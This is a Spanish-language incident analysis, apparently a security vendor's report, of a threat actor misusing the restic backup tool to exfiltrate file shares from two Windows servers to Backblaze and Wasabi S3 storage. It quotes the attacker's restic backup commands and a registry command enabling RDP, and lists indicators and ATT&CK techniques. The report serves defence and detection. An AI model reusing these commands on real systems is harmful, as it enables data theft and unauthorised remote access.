Contexto
Como proveedor de MDR que da soporte a más de 2,7 millones de endpoints en una base de clientes extremadamente diversa, Huntress observa una gran cantidad de actividades tanto legítimas como maliciosas. En varios casos, los analistas de Huntress observan el uso malicioso de una aplicación que, por lo demás, se usa ampliamente con fines legítimos en toda la base de clientes.
En agosto de 2023, los analistas de Huntress observaron a actores de amenazas de ransomware de INC usando MegaSync para la exfiltración de datos. Hace poco, GBHackers publicó un artículo que describe herramientas de exfiltración de datos usadas por actores de amenazas de ransomware, una de las cuales era la aplicación de respaldo restic. Un analista del Centro de Operaciones de Seguridad de Huntress (SOC) investigó e informó alertas de dos endpoints relacionadas con el uso malicioso de la misma aplicación de respaldo.
El ataque
Huntress alertó a un cliente sobre dos endpoints (ambos servidores Windows 2019) afectados por una actividad similar; específicamente, el uso de la aplicación de respaldo restic, aparentemente en un intento de exfiltrar datos de la infraestructura de un cliente.
Se accedió al primer endpoint a través de RDP, usando credenciales previamente comprometidas, desde un endpoint llamado "debian". La primera vez que apareció el nombre de la cuenta comprometida en la línea de tiempo de la investigación fue el día en que se generaron las alertas y se informaron a través del SOC, y no se observaron intentos fallidos de inicio de sesión para ese nombre de cuenta. El actor de amenazas comenzó visualizando varios archivos en endpoints remotos, incluyendo un archivo de texto, un archivo CSV y un archivo PDF. El actor de amenazas continuó descargando una utilidad de SoftPerfect Pty. Ltd, a la que llamó "system.exe"; el campo del nombre de archivo original estaba vacío, pero es seguro suponer que el archivo descargado es probablemente una utilidad de escaneo. La línea de comandos usada para iniciar la utilidad apareció en la telemetría de EDR de la siguiente manera:
C:\Users\<REDACTED>\Downloads\sc\1\System.exe
La línea de tiempo de la investigación también mostró varios mensajes de DCOM/10028 asociados con "system.exe", lo que indica que la aplicación no pudo comunicarse con varios endpoints dentro de la infraestructura.
El actor de amenazas luego hizo ping tanto a s3.us-central-1.wasabisys[.]com como a s3.us-east-005.backblazeb2[.]com, tras lo cual descargó un archivo comprimido del que extrajo la aplicación de respaldo restic, la cual renombró como dns.exe, ejecutándola mediante la siguiente línea de comandos:
C:\Windows\dns.exe -r s3:s3.us-west-002.backblazeb2[.]com/<REDACTED> backup "<REDACTED SHARE 1>"
Poco después de que se accediera al primer endpoint y de que la actividad del actor de amenazas generara una alerta, el actor de amenazas accedió al segundo endpoint desde el primero, aparentemente para verificar credenciales, y luego accedió al segundo endpoint desde otro endpoint para modificar el Registro de Windows y habilitar RDP, mediante la siguiente línea de comandos:
cmd.exe /Q /c reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0 /f 1> \Windows\Temp\yGEciX 2>&1
Aunque el acceso por RDP aparentemente se habilitó, no hubo indicios de que el actor de amenazas intentara iniciar sesión en el segundo endpoint vía RDP antes de que ambos endpoints fueran aislados y las alertas fueran informadas al cliente. El actor de amenazas luego accedió al segundo endpoint mediante inicios de sesión de tipo 3 "de red", para "establecer" varias variables de entorno (es decir, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY y RESTIC_PASSWORD), antes de iniciar restic.exe (que no fue renombrado).
restic.exe -r s3:s3.us-west-002.backblazeb2[.]com/<REDACTED> backup "<REDACTED SHARE 2>"
Es posible que este comando no haya tenido éxito, ya que se observó al actor de amenazas haciendo intentos repetidos de iniciar la aplicación de respaldo, después de cambiar las variables de entorno AWS_ACCESS_KEY_ID y AWS_SECRET_ACCESS_KEY. Según la línea de tiempo de la investigación, estos intentos continuaron durante unos 17 minutos. Luego se observó al actor de amenazas inicializando la aplicación de respaldo hacia el otro bucket de S3, mediante el siguiente comando:
restic.exe -r s3:https://s3.us-central-1.wasabisys[.]com/<REDACTED> init
El actor de amenazas no pareció poder lograr que la aplicación de respaldo se iniciara con éxito antes de que el endpoint fuera aislado. La línea de tiempo de la investigación no mostró indicios de fallas en la aplicación ni mensajes de Windows Error Reporting, pero los intentos repetidos y continuos con las mismas líneas de comandos, mientras se cambiaban las distintas variables de entorno, indicaron que el actor de amenazas podría no haber tenido éxito en sus intentos de exfiltrar datos del segundo endpoint.
Conclusiones
Según las observaciones de las alertas y la investigación posterior, el actor de amenazas parece haber tenido acceso previo a la infraestructura afectada por algún medio no observado; aunque la línea de tiempo de la investigación mostró indicios claros de intentos fallidos de inicio de sesión en el primer endpoint, ninguno de ellos correspondía a la cuenta comprometida (se intentaba con un nombre de cuenta distinto), y los intentos continuaron bastante después de que el actor de amenazas iniciara sesión con éxito en el primer endpoint.
Como indica además la línea de tiempo de la investigación, el actor de amenazas accedió con éxito al segundo endpoint desde el primero, y de nuevo intentó ejecutar la aplicación de respaldo, aunque sin renombrarla. La aplicación de respaldo usada por el actor de amenazas era claramente distinta del software de respaldo legítimo utilizado dentro de la infraestructura del cliente. Además, los intentos de respaldar el contenido de los recursos compartidos de archivos, observados mediante telemetría de EDR, aparentemente solo fueron precedidos por un escaneo de red y una visualización extremadamente limitada del contenido de archivos (CSV, PDF); no hubo indicios de intentos de descubrimiento más extensos o exhaustivos antes de que el actor de amenazas intentara respaldar el contenido completo de las carpetas.
No hay indicios de que el actor de amenazas intentara establecer persistencia adicional, como instalar una herramienta de RMM adicional, agregar usuarios adicionales a los endpoints, etc.
A la luz de estas observaciones, sería seguro suponer que el actor de amenazas tenía algún conocimiento previo de la infraestructura, incluyendo credenciales comprometidas y ubicaciones de datos aptos para exfiltración.
Indicadores
Nombre NetBIOS del endpoint del actor de amenazas: debian
Sitios de exfiltración: s3.us-central-1.wasabisys[.]com, s3.us-east-005.backblazeb2[.]com
System.exe - SHA-256:
6c176e9c2a7eaf4eb26ee08deadba88ba39a14cba064f946d2722718ac1b57f8
restic/dns.exe - SHA-256:
98394683d8f30ce9fb313100f593dc16e97a52723b18d534cf586391a97cdc1d
Restic.exe - SHA-256:
75d4148ecdb76518b04f612a90c804df99c115beb843c06835fd8c1edbc35cac
Mapeo de MITRE ATT&CK
Acceso inicial - T1078.002, Cuentas válidas
Acceso inicial - T1133, Servicios remotos externos
Ejecución - T1059.003, Windows Command Shell
Persistencia - T1078.002, Cuentas válidas
Evasión de defensas - T1027, Archivos o información ofuscados
Recolección - T1560.001, Archivo mediante utilidad
Recolección - T1039, Datos desde unidad compartida de red
Exfiltración - T1567, Exfiltración a almacenamiento en la cloud
